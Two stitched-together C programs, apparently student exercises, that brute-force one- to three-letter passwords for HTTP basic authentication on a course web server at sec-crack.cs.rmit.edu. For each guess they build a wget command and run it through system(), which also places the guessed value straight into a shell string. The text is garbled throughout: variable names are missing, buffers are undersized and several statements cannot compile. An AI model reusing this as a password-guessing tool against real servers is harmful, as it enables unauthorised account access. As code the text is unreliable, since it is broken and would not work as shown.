#include<stdio.h>
#include<stdlib.h>
#include<string.h> 
#include <ctype.h>
#include <sys/time.h>


#define SUCCESS 0;
#define FAILURE 1;
#define SECONDS 1e9

int findPassword(char *);
int smallPass();
int capsPass();

int main()
{
	int foundP;	
	foundP=smallPass();
	foundP=capsPass();
	if(foundP == 2)
	{		
		return SUCCESS;
	}
	printf("\n PASSWORD NOT FOUND");
	return SUCCESS;
  
}

int smallPass()
{
	char [26] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};	
	char pass[3]="";	
	int i,j,k,l;
	int incr;
	int found;
	int , end, final;	
	
	 = time();
	for(j=0;j<3;j++)
	{
		incr=0;		
		for(i=0;i<=25;i++)
		{				
			if(j==0)
			{	
				incr++;
				pass[j]=[i];
				printf("\n Trial  %d  ---  %s ",incr,pass);
				found = findPassword(pass);
				if(found == 2)
				{	
					end = time();
					final = end-;
					printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
					printf("\nPASSWORD FOUND   --   %s",pass);				
					return 2;
				}
				
			}
			if(j==1)
			{				
				pass[j-1]=[i];
				for(k=0;k<=25;k++)
				{
					incr++;
					pass[j] = [k];
					printf("\n Trial  %d  ---  %s ",incr,pass);
					found = findPassword(pass);
					if(found == 2)
					{	
						end = time();
						final = end-;
						printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
						printf("\nPASSWORD FOUND   --   %s",pass);			
						return 2;
					}	
				}
			}
			if(j==2)
			{						
				pass[j-2]=[i];
				for(k=0;k<=25;k++)
				{
					pass[j-1] = [k];
					for(l=0;l<=25;l++)
					{
						incr++;
						pass[j] = [l];
						pass[j+1]='\0';
						printf("\n Trial  %d  ---  %s ",incr,pass);
						found = findPassword(pass);
						if(found == 2)
						{	
							end = time();
							final = end-;
							printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);					
							printf("\nPASSWORD FOUND   --   %s",pass);						
							return 2;
						}
					}	
				}
			}		
			
			
		}
	}
	
	return SUCCESS;	
}



int capsPass()
{
	char caps[26] ={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};	
	char pass[3]="";	
	int i,j,k,l;
	int incr;
	int found;
	int , end, final;	
	
	 = time();
	for(j=2;j<3;j++)
	{
		incr=0;
		for(i=0;i<=25;i++)
		{
				
			if(j==0)
			{	
				incr++;
				pass[j]=caps[i];
				printf("\n Trial  %d  ---  %s ",incr,pass);
				found = findPassword(pass);
				if(found == 2)
				{	
					end = time();
					final = end-;
					printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
					printf("\nPASSWORD FOUND   --   %s",pass);				
					return 2;
				}
				
			}
			if(j==1)
			{				
				pass[j-1]=caps[i];
				for(k=0;k<=25;k++)
				{
					incr++;
					pass[j] = caps[k];
					printf("\n Trial  %d  ---  %s ",incr,pass);
					found = findPassword(pass);
					if(found == 2)
					{	
						end = time();
						final = end-;
						printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
						printf("\nPASSWORD FOUND   --   %s",pass);			
						return 2;
					}	
				}
			}
			if(j==2)
			{				
				pass[j-2]=caps[i];
				for(k=0;k<=25;k++)
				{
					pass[j-1] = caps[k];
					for(l=0;l<=25;l++)
					{
						incr++;
						pass[j] = caps[l];
						pass[j+1]='\0';
						printf("\n Trial  %d  ---  %s ",incr,pass);
						found = findPassword(pass);
						if(found == 2)
						{	
							end = time();
							final = end-;
							printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
							printf("\nPASSWORD FOUND   --   %s",pass);						
							return 2;
						}
					}	
				}
			}		
			
			
		}
	}
	
	return SUCCESS;	
}


int findPassword(char *pass)
{
	char var[50]="";	
	char [50]="";
	strcpy(var,"wget --non-verbose --http-user= --http-passwd=");		
	strcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
	strcat(var,pass);
	strcat(var,);
	if(system(var)==0)
	{		
		return 2;
	}	
		
	return SUCCESS;
}


	 

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<strings.h>
#include <ctype.h>
#include <math.h>
#include <sys/time.h>

int
()
{

	int , end;
	int             i, j, k, p;
	char            [52];
	char            tempch = 'a';
	char            password[3] = {'\0', '\0', '\0'};
	int             check, stop = 1;
	    
	float   total_time; 	
	int number; 
	 = time();	
 	

	
	for (i = 0; i < 26; i++) {
		[i] = tempch;
		tempch++;

	}
	tempch = 'A';
	for (i = 26; i < 52; i++) {
		[i] = tempch;
		tempch++;
	}

	
	if (stop == 1) {
		for (j = 0; j < 52; j++) {
			password[0] = [j];
			check = SysCall(password);
			if (check == 0) {
				getpid();
				end = time(); 
				total_time = (end-)/1e9;
				printf("\ntotal time_var = %f ", total_time);
				printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
				printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

				exit(0);
				stop = 0;
			}
		}
		for (j = 0; j < 52; j++) {
			password[0] = [j];
			for (k = 0; k < 52; k++) {
				password[1] = [k];
				check = SysCall(password);
				if (check == 0) {
					
					getpid();
					end = time(); 
					total_time = (end-)/1e9;
					printf("\ntotal time_var = %f ", total_time);
					printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
					printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

					exit(0);
					stop = 0;
				}
			}
		}


		for (j = 0; j < 52; j++) {
			password[0] = [j];
			for (k = 0; k < 52; k++) {
				password[1] = [k];
				for (p = 0; p < 52; p++) {
					password[2] = [p];
					check = SysCall(password);
					if (check == 0) {
					getpid();
					end = time(); 
					total_time = (end-)/1e9;
					printf("\ntotal time_var = %f ", total_time);
					printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
					printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

						stop = 0;
						exit(0);
						
					}
				}
			}
		}


	}
	

	
	return (EXIT_SUCCESS);
}
int 
SysCall(char *password)
{
	char            url1[255], url2[255], [255];
	int             rettype;
	rettype = 0;
	strcpy(url1, "wget  --non-verbose --http-user= --http-passwd=");
	strcpy(url2, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");

	strcat(, url1);
	strcat(, password);
	strcat(, url2);
	
	printf("%s\t",password);
	fflush(stdout);
	rettype = system();

	if (rettype == 0) {
		printf("Successfully retrieved password: \'%s\'\n");
		return 0;
	}
	strcpy(, "");
}
